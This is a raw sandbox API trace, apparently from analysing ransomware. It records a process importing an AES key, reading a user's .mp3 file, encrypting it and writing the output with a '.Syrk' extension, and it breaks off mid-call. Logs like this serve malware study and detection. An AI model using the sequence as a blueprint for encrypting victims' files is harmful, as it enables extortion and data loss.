(param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0235.555] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.556] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0235.556] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0235.556] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.556] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0235.556] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.556] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0235.556] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0235.556] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.556] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0235.556] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.556] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0235.556] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0235.556] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.556] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0235.556] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.557] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0235.557] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0235.557] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.557] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0235.557] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.557] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0235.557] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0235.557] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.557] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0235.557] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.557] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0235.557] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0235.557] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.557] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0235.557] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.558] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0235.558] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0235.558] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0235.558] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0235.558] SystemFunction041 (in: Memory=0x5c9aeb4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aeb4) returned 0x0 [0235.558] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0235.558] SystemFunction040 (in: Memory=0x5c9aeb4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aeb4) returned 0x0 [0235.558] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0235.558] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0235.559] SystemFunction041 (in: Memory=0x5c9aeb4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aeb4) returned 0x0 [0235.559] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0235.559] SystemFunction040 (in: Memory=0x5c9aeb4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aeb4) returned 0x0 [0235.559] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0235.559] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0235.559] SystemFunction041 (in: Memory=0x5c9aeb4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aeb4) returned 0x0 [0235.559] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0235.559] SystemFunction040 (in: Memory=0x5c9aeb4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aeb4) returned 0x0 [0235.559] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0235.559] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0235.559] SystemFunction041 (in: Memory=0x5c9aeb4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aeb4) returned 0x0 [0235.560] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0235.560] SystemFunction040 (in: Memory=0x5c9aeb4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aeb4) returned 0x0 [0235.560] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0235.560] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0235.560] SystemFunction041 (in: Memory=0x5c9aeb4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aeb4) returned 0x0 [0235.560] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0235.560] SystemFunction040 (in: Memory=0x5c9aeb4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aeb4) returned 0x0 [0235.560] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0235.560] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0235.560] SystemFunction041 (in: Memory=0x5c9aeb4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aeb4) returned 0x0 [0235.560] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0235.560] SystemFunction040 (in: Memory=0x5c9aeb4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aeb4) returned 0x0 [0235.560] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0235.560] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0235.560] SystemFunction041 (in: Memory=0x5c9aeb4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aeb4) returned 0x0 [0235.561] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0235.561] SystemFunction040 (in: Memory=0x5c9aeb4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aeb4) returned 0x0 [0235.561] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0235.561] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0235.561] SystemFunction041 (in: Memory=0x5c9aeb4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aeb4) returned 0x0 [0235.561] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0235.561] SystemFunction040 (in: Memory=0x5c9aeb4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aeb4) returned 0x0 [0235.561] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0235.561] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0235.561] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0235.562] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0235.562] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0235.562] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0235.562] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0235.562] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0235.562] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0235.562] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0235.562] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0235.562] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0235.562] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0235.562] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0235.562] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0235.562] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0235.562] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0235.563] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0235.563] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0235.563] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0235.563] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0235.563] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0235.563] EtwEventActivityIdControl () returned 0x0 [0235.563] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0235.563] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0235.563] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0235.563] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0235.565] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d210) returned 1 [0235.567] CryptImportKey (in: hProv=0x5c4d210, pbData=0x24e7274*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x3b5068) returned 1 [0235.567] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0235.567] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.567] EtwEventActivityIdControl () returned 0x0 [0235.567] EtwEventActivityIdControl () returned 0x0 [0235.567] EtwEventActivityIdControl () returned 0x0 [0235.574] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\xu9kprwq9.mp3")) returned 0x20 [0235.577] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\xu9kprwq9.mp3")) returned 0x20 [0235.577] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0235.577] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3", nBufferLength=0x5a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3", lpFilePart=0x0) returned 0x59 [0235.577] EtwEventActivityIdControl () returned 0x0 [0235.577] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.578] EtwEventActivityIdControl () returned 0x0 [0235.578] EtwEventActivityIdControl () returned 0x0 [0235.578] EtwEventActivityIdControl () returned 0x0 [0235.579] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0235.579] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3", nBufferLength=0x5a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3", lpFilePart=0x0) returned 0x59 [0235.579] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0235.579] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\xu9kprwq9.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0235.579] GetFileType (hFile=0x454) returned 0x1 [0235.579] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0235.579] GetFileType (hFile=0x454) returned 0x1 [0235.579] EtwEventActivityIdControl () returned 0x0 [0235.580] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.580] EtwEventActivityIdControl () returned 0x0 [0235.580] EtwEventActivityIdControl () returned 0x0 [0235.580] EtwEventActivityIdControl () returned 0x0 [0235.581] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5f [0235.581] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3.Syrk", nBufferLength=0x5f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3.Syrk", lpFilePart=0x0) returned 0x5e [0235.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0235.581] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\xu9kprwq9.mp3.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0235.583] GetFileType (hFile=0x458) returned 0x1 [0235.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0235.584] GetFileType (hFile=0x458) returned 0x1 [0235.584] EtwEventActivityIdControl () returned 0x0 [0235.584] CryptGenRandom (in: hProv=0x5c4d210, dwLen=0x10, pbBuffer=0x24fd9ec | out: pbBuffer=0x24fd9ec) returned 1 [0235.585] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0235.585] CryptDuplicateKey (in: hKey=0x3b5068, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x3b5128) returned 1 [0235.585] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0235.585] CryptSetKeyParam (hKey=0x3b5128, dwParam=0x4, pbData=0x24fed24*=0x1, dwFlags=0x0) returned 1 [0235.585] CryptSetKeyParam (hKey=0x3b5128, dwParam=0x1, pbData=0x24fecf0, dwFlags=0x0) returned 1 [0235.585] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.586] EtwEventActivityIdControl () returned 0x0 [0235.586] EtwEventActivityIdControl () returned 0x0 [0235.586] EtwEventActivityIdControl () returned 0x0 [0235.586] EtwEventActivityIdControl () returned 0x0 [0235.587] ReadFile (in: hFile=0x454, lpBuffer=0x2501960, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2501960*, lpNumberOfBytesRead=0x5a2e7d8*=0x2798, lpOverlapped=0x0) returned 1 [0235.588] CryptEncrypt (in: hKey=0x3b5128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2515978*, pdwDataLen=0x5a2e7cc*=0x2790, dwBufLen=0x2790 | out: pbData=0x2515978*, pdwDataLen=0x5a2e7cc*=0x2790) returned 1 [0235.588] WriteFile (in: hFile=0x458, lpBuffer=0x24fdad4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24fdad4*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0235.589] WriteFile (in: hFile=0x458, lpBuffer=0x2516964*, nNumberOfBytesToWrite=0x17a4, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2516964*, lpNumberOfBytesWritten=0x5a2e7b0*=0x17a4, lpOverlapped=0x0) returned 1 [0235.590] ReadFile (in: hFile=0x454, lpBuffer=0x2501960, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2501960*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0235.590] CryptEncrypt (in: hKey=0x3b5128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2518114*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x2518114*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0235.590] CryptEncrypt (in: hKey=0x3b5128, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2518130*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x2518130*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0235.590] WriteFile (in: hFile=0x458, lpBuffer=0x24fdad4*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x24fdad4*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0235.590] CloseHandle (hObject=0x458) returned 1 [0235.592] CloseHandle (hObject=0x454) returned 1 [0235.592] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.593] EtwEventActivityIdControl () returned 0x0 [0235.593] EtwEventActivityIdControl () returned 0x0 [0235.593] EtwEventActivityIdControl () returned 0x0 [0235.598] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\xu9kprwq9.mp3")) returned 0x20 [0235.601] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0235.601] GetFullPathNameW (in: 